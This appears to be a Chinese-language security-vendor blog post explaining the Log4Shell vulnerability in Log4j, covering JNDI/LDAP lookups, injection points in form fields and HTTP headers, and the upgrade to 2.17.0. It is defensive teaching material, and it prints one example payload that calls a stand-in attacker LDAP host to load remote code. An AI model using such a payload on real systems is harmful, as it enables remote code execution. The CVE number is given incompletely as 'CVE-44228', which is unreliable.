Log4j 漏洞详解:攻击向量及预防措施

12 月 9 日,Java 库 Log4j 中披露了一个 0-day 漏洞。CVE-44228 被称为 Log4Shell,由于该漏洞可能导致远程代码执行(RCE),因此被评为“高危”级别。此外,log4j-core 是最常用的 Java 日志库之一,这使得数百万个应用程序面临风险。
想要快速提升您应对 Log4Shell 的技能吗?
我们构建了一个演示项目,带您从 Log4Shell 的基本概念出发,通过名为“任务”的模拟器亲身体验该漏洞的利用过程。在此任务中,我们将引导您了解 Log4j 漏洞如何影响您的基础设施和应用程序。点击此处立即进入演示,或继续阅读以详细了解该漏洞。
老生常谈?
这种攻击方式并不新鲜。早在 2016 年的 BlackHat 大会上,安全研究人员 Alvaro Muñoz 和 Oleksandr Mirosh 就强调过“应用程序不应使用不受信任的数据执行 JNDI 查询”,并演示了针对性的 JNDI/LDAP 注入如何导致远程代码执行。而这正是 Log4Shell 的核心所在。
攻击向量
Log4Shell 的注入载荷如下所示:
${jndi:ldap://attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。以下语法编写的表达式:${expr} 将在运行时进行求值。例如,${java:version} 将返回当前使用的 Java 版本。
接下来是 JNDI,即 Java 命名和目录接口,它是一个允许通过 LDAP、DNS、RMI 等协议连接服务以检索数据或资源的 API。简而言之,在我们上面的恶意载荷示例中,JNDI 会对攻击者控制的 LDAP 服务器执行查询。其响应可以指向包含恶意代码的 Java 类文件,该文件随后会在受攻击的服务器上执行。
该漏洞之所以如此严重,是因为 Log4j 会评估所有日志条目,并会对所有以“jndi”为前缀的 EL 语法编写的已记录用户输入执行查询。该载荷可以注入到用户输入数据的任何位置,例如表单字段。此外,HTTP 标头(如 User-Agent 和 X-Forwarded-For 等)也可以被篡改以携带该载荷。
若要亲自体验该漏洞,请前往我们的演示页面并进入第 2 步 - “体验影响”。
预防:提高意识
升级是所有应用程序的推荐操作,因为 Log4j 团队一直在修补漏洞代码。然而,2.15.0 和 2.16.0 版本包含 DDoS 及其他漏洞,因此截至 12 月下旬,建议升级至 2.17.0 版本。
作为编写代码的开发人员,我们需要时刻考虑安全性。Log4Shell 告诉我们,使用第三方框架或库存在风险。我们需要意识到,应用程序的安全性可能会因使用我们天真地认为安全的外部资源而受到威胁。
这个漏洞可以预防吗?答案是肯定的,也是否定的。一方面,由于漏洞组件是通过第三方软件引入的,开发人员能做的有限。另一方面,从中吸取的教训是反复被强调的:永远不要信任用户输入。
Secure Code Warrior 坚信,培养具备安全意识的开发人员是预防代码漏洞的最佳途径。得益于 SCW 提供的大规模编程框架专项培训,企业客户能够利用报告数据快速定位受影响的 Java 开发人员,并依靠经 SCW 培训的安全专家加速 Log4j 的升级工作。
针对 Java 开发人员,Secure Code Warrior 特别提供了免费的 IntelliJ 插件 Sensei。这款基于规则的代码分析工具可用于强制执行编码规范,并预防和修复漏洞。您可以创建自定义规则,或使用我们现成的 代码库。浏览我们的 方案,并记得下载我们的 Log4j 代码库,它将助您快速定位并修复 Log4Shell 漏洞。
提升您的技能,从容应对 Log4Shell
想将博文中学到的知识付诸实践吗?我们的演示环节可以为您提供帮助。在演示开始时,您将快速回顾该漏洞,随后进入模拟环境,在引导下亲手尝试漏洞利用过程。
在 AI 驱动的开发成果发布前实现有效治理
评估 AI 辅助风险,在提交代码时强制执行安全编码策略,并加速整个软件开发生命周期的安全交付。
探索更多博客
获取有关安全编码、人工智能治理和软件风险管理的专家内容。
%252520%252520(3).avif)
Supercharged Security Awareness: How Tournaments are Inspiring Developers at Erste Group
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse varius enim in eros elementum tristique. Duis cursus, mi quis viverra ornare, eros dolor interdum nulla, ut commodo diam libero vitae erat. Aenean faucibus nibh et justo cursus id rutrum lorem imperdiet. Nunc ut sem vitae risus tristique posuere.

Security as culture: How Blue Prism cultivates world-class secure developers
Learn how Blue Prism, the global leader in intelligent automation for the enterprise, used Secure Code Warrior's agile learning platform to create a security-first culture with their developers, achieve their business goals, and ship secure code at speed
在产品发布前确保 AI 驱动的开发安全
洞察开发风险,执行安全策略,并在整个软件开发生命周期中预防漏洞。



.avif)